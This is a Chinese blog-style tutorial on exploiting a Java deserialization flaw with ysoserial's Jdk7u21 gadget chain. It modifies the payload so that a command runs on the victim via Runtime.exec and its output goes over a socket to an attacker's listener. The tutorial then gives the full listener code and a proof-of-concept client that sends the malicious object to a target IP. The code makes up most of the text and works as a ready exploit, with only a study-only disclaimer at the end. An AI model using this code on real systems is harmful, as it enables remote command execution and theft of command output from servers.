反序列化-在利用链里利用socket进行shell回显

以Jdk7u21为例
首先看jdk7u21类的getObject方法

在getObject方法里定义了一个command,这个command就是poc里的恶意对象,此处用Gadgets类的createTemplatesImpl方法处理获取到的command,跟进createTemplatesImpl

处理返回createTemplatesImpl,跟进

此处就是获取恶意对象进行具体处理的地方,我们把原来的string cmd注释掉,重新写一个socket的客户端,利用发送到目标触发反序列化漏洞来进行socket连接

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
java.net.Socket socket=new java.net.Socket("127.0.0.1",9999);
java.io.OutputStream outputStream = socket.getOutputStream();
Process whoami = Runtime.getRuntime().exec("+command+"); //直接写死命令也行
java.io.InputStream inputStream = whoami.getInputStream();
int len;
byte[] buf=new byte[1024];
java.io.ByteArrayOutputStream baos=new java.io.ByteArrayOutputStream();
while((len=inputStream.read(buf))!=-1){
baos.write(buf,0,len);
}
inputStream.close();
byte[] bytes = baos.toByteArray();
outputStream.write(bytes);
outputStream.flush();
outputStream.close();

再新建一个socket服务端serverexp.java

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
package ysoserial;


import com.sun.security.ntlm.Server;


import java.net.*;
import java.io.*;


public class serverexp extends Thread
{
private ServerSocket serverSocket;


public serverexp(int port) throws IOException
{
serverSocket = new ServerSocket(port);
serverSocket.setSoTimeout(10000);
}


public void run()
{
while(true)
{
try
{
System.out.println("等待远程连接,端口号为:" + serverSocket.getLocalPort() + "...");
Socket server = serverSocket.accept();
System.out.println("远程主机地址:" + server.getRemoteSocketAddress());
//DataInputStream in = new DataInputStream(server.getInputStream());
InputStream inputStream = server.getInputStream();
// System.out.println(in.readUTF());
int len;
byte[] buf=new byte[1024];
java.io.ByteArrayOutputStream baos=new java.io.ByteArrayOutputStream();
while((len=inputStream.read(buf))!=-1){
baos.write(buf,0,len);
}
byte[] bytes = baos.toByteArray();
System.out.println(new String(bytes));
DataOutputStream out = new DataOutputStream(server.getOutputStream());
out.flush();
//out.writeUTF("谢谢连接我:" + server.getLocalSocketAddress() + "\nGoodbye!");
server.close();
}catch(SocketTimeoutException s)
{
System.out.println("Socket timed out!");
break;
}catch(IOException e)
{
e.printStackTrace();
break;
}
}
}
public static void main(String [] args)
{
int port = 9999;
try
{
Thread t = new serverexp(port);
t.run();
}catch(IOException e)
{
e.printStackTrace();
}
}
}

目标机起一个含有反序列化漏洞的服务,
写一个正常的POC

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
package ysoserial;

import ysoserial.payloads.Jdk7u21;

import java.io.ObjectOutputStream;
import java.net.Socket;


public class exptest {
public static void main(String[] args) throws Exception {
Jdk7u21 payloadtest = new Jdk7u21(); //调用jdk利用链
Object vultest = payloadtest.getObject("ipconfig"); //恶意对象
Socket socket = new Socket("192.168.83.166",port); //建立连接
ObjectOutputStream oss = new ObjectOutputStream(socket.getOutputStream()); //获取输出流
oss.writeObject(vultest); //触发恶意对象
//System.out.print(vultest);
oss.flush();
oss.close();
}
}

然后攻击机运行POC即可看到回显


声明:
本文章用于学习交流,严禁用于非法操作,出现后果一切自行承担,阅读此文章表示你已同意本声明。

Disclaimer:
This article is for study and communication. It is strictly forbidden to use it for illegal operations. All consequences shall be borne by yourself. Reading this article means that you have agreed to this statement.